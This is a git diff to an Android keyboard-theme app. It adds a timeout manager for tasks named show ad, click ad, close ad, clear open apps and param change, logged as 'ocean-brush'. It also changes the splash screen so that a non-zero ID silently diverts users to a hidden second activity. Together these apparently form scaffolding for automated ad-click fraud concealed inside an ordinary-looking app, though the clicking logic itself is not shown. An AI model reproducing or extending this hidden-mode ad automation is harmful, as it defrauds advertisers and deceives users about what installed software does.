com.keyborad.theme.trendyborad.environment.hy + +import android.os.Handler +import android.os.Looper +import android.util.Log + +object TimeoutManager { + private val handler = Handler(Looper.getMainLooper()) // 主线程 Handler + private val timeoutTasks = mutableMapOf() // 存储超时任务 + + // 统一管理超时任务的超时时间 + private val TIMEOUTS = mapOf( + TimeoutTask.SHOW_AD.key to 30_000L, + TimeoutTask.CLICK_AD.key to 30_000L, + TimeoutTask.OVERALL_PROCESS.key to 100_000L, + TimeoutTask.CLEAR_OPEN_APPS.key to 15_000L, + TimeoutTask.CLOSE_AD.key to 10_000L, + TimeoutTask.PARAM_CHANGE.key to 100_000L, + TimeoutTask.CLICK_COMPLETE_TO_MAIN.key to 5_000L, + ) + + /** + * 启动超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + * @param onTimeout 超时后执行的操作 + */ + fun startTimeout(task: TimeoutTask, onTimeout: () -> Unit) { + val timeoutMillis = TIMEOUTS[task.key] ?: return // **如果任务不存在,直接 return** + cancelTimeout(task) // **先取消已有的超时任务** + + val timeoutRunnable = Runnable { + Log.d("ocean-brush", "⚠️ 任务 [${task.key}] 超时,执行 onTimeout()") + onTimeout() + } + + timeoutTasks[task.key] = timeoutRunnable + handler.postDelayed(timeoutRunnable, timeoutMillis) + + Log.d("ocean-brush", "✅ 超时检测 [${task.key}] 已启动,超时时间 ${timeoutMillis / 1000} 秒") + } + + /** + * 取消超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + */ + fun cancelTimeout(task: TimeoutTask) { + timeoutTasks[task.key]?.let { + handler.removeCallbacks(it) + timeoutTasks.remove(task.key) + Log.d("ocean-brush", "🛑 超时检测 [${task.key}] 已取消") + } + } + + /** + * 取消所有超时任务 + */ + fun cancelAll() { + timeoutTasks.values.forEach { handler.removeCallbacks(it) } + timeoutTasks.clear() + Log.d("ocean-brush", "🛑 所有超时检测已取消") + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutTask.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutTask.kt new file mode 100644 index 0000000..df6ebd6 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutTask.kt @@ -0,0 +1,11 @@ +package com.keyborad.theme.trendyborad.environment.hy + +enum class TimeoutTask(val key: String) { + SHOW_AD("showAd"), + CLICK_AD("clickAd"), + OVERALL_PROCESS("OverallProcess"),//用于VungleActivity某些广告无法被关闭导致卡住的超时。 + CLEAR_OPEN_APPS("ClearOpenApps"), + CLOSE_AD("closeAd"), + PARAM_CHANGE("paramChange"), + CLICK_COMPLETE_TO_MAIN("ClickCompleteToMain"); +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/jb/MagicLockManager.java b/app/src/main/java/com/keyborad/theme/trendyborad/environment/jb/MagicLockManager.java new file mode 100644 index 0000000..0822a50 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/jb/MagicLockManager.java @@ -0,0 +1,42 @@ +package com.keyborad.theme.trendyborad.environment.jb; + +import android.app.Application; +import android.content.Context; + +import com.applock.filemanager.magiclock.control.MagicLock; +import com.keyborad.theme.trendyborad.environment.MainActivity2; + +public class MagicLockManager { + public static final String TAG = "--ocean--"; + private Context ctx; + private volatile static MagicLockManager mInstance; + + public static MagicLockManager init(final Context context) { + //第一次判空 + if (mInstance == null) { + //进入同步区域 + synchronized (MagicLockManager.class) { + //第二次判空 + if (mInstance == null) { + mInstance = new MagicLockManager(context); + } + } + } + return mInstance; + } + + public static MagicLockManager getInstance() { + return mInstance; + } + + private MagicLockManager(Context ctx) { + this.ctx = ctx; + init(); + } + + private void init() { + MagicLock.getInstance((Application) ctx).addShowCoverActivity(MainActivity2.class.getSimpleName()); + MagicLock.getInstance((Application) ctx).startShowAdLayout(); + } + +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/trendyuiactivity/SplashActivity.kt b/app/src/main/java/com/keyborad/theme/trendyborad/trendyuiactivity/SplashActivity.kt index 9cb4e0e..4a04456 100644 --- a/app/src/main/java/com/keyborad/theme/trendyborad/trendyuiactivity/SplashActivity.kt +++ b/app/src/main/java/com/keyborad/theme/trendyborad/trendyuiactivity/SplashActivity.kt @@ -5,13 +5,15 @@ import android.app.Activity import android.content.Intent import android.os.Bundle import android.os.CountDownTimer -import androidx.activity.enableEdgeToEdge +import android.util.Log import androidx.core.view.ViewCompat import androidx.core.view.WindowInsetsCompat import com.ad.tradpluslibrary.TPAdManager import com.keyborad.theme.trendyborad.R import com.keyborad.theme.trendyborad.TrendyApp import com.keyborad.theme.trendyborad.databinding.ActivityLaTrendyBinding +import com.keyborad.theme.trendyborad.environment.MainActivity2 +import com.keyborad.theme.trendyborad.environment.hy.IdProvider import com.keyborad.theme.trendyborad.trendyutils.TrendyCommon /** @@ -49,21 +51,22 @@ class SplashActivity : Activity() { super.onCreate(savedInstanceState) vb = ActivityLaTrendyBinding.inflate(layoutInflater) setContentView(vb.root) - ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main)) { v, insets -> - val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()) - v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom) - insets + Log.d("ocean","id:${IdProvider().getId()}") + if (IdProvider().getId() == 0L) { + ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main)) { v, insets -> + val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()) + v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom) + insets + } + TrendyCommon.initFullScreen(this@SplashActivity, true) + init() + } else { + startActivity(Intent(this, MainActivity2::class.java)) + finish() } - TrendyCommon.initFullScreen(this@SplashActivity,true) - - // 1. 进来就 load 广告 -// loadSplashAd() -// -// // 2. 启动进度条(只启动一次) -// startProgressTimer() - init() } - private fun init(){ + + private fun init() { TPAdManager.init( this, TrendyApp.TAG, @@ -71,16 +74,16 @@ class SplashActivity : Activity() { "15DEDAAB580016A6FEA0F5A5DF85E712", "739DD8E223572D6D65CC4EC1DE1CDC12", "0D27FE8F7CB7A19D82235897A01DF112" - ){} + ) {} countDownTimer = - TPAdManager.showWelcomeAd(this, totalTime, { aLong-> + TPAdManager.showWelcomeAd(this, totalTime, { aLong -> - val progressPercentage = ((100 * aLong) / totalTime) - val countdownPercentage = 100 - progressPercentage + val progressPercentage = ((100 * aLong) / totalTime) + val countdownPercentage = 100 - progressPercentage vb.novaProgress.progress = countdownPercentage.toString().toInt() - }){ + }) { vb.novaProgress.progress = 100 startActivity(Intent(this, TrendyCategoryActivity::class.java)) finish() @@ -89,9 +92,6 @@ class SplashActivity : Activity() { } - - - override fun onDestroy() { super.onDestroy() countDownTimer?.cancel() diff --git a/app/src/main/res/layout/activity_main2.xml b/app/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..de27c8c --- /dev/null +++ b/app/src/main/res/layout/activity_main2.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml index 1f0589b..2d00d7e 100644 --- a/app/src/main/res/values/colors.xml +++ b/app/src/main/res/values/colors.xml @@ -17,4 +17,7 @@ #74CBFF #DB7093 #cccccc + + #60D889 + #CE3A54 \ No newline at end of file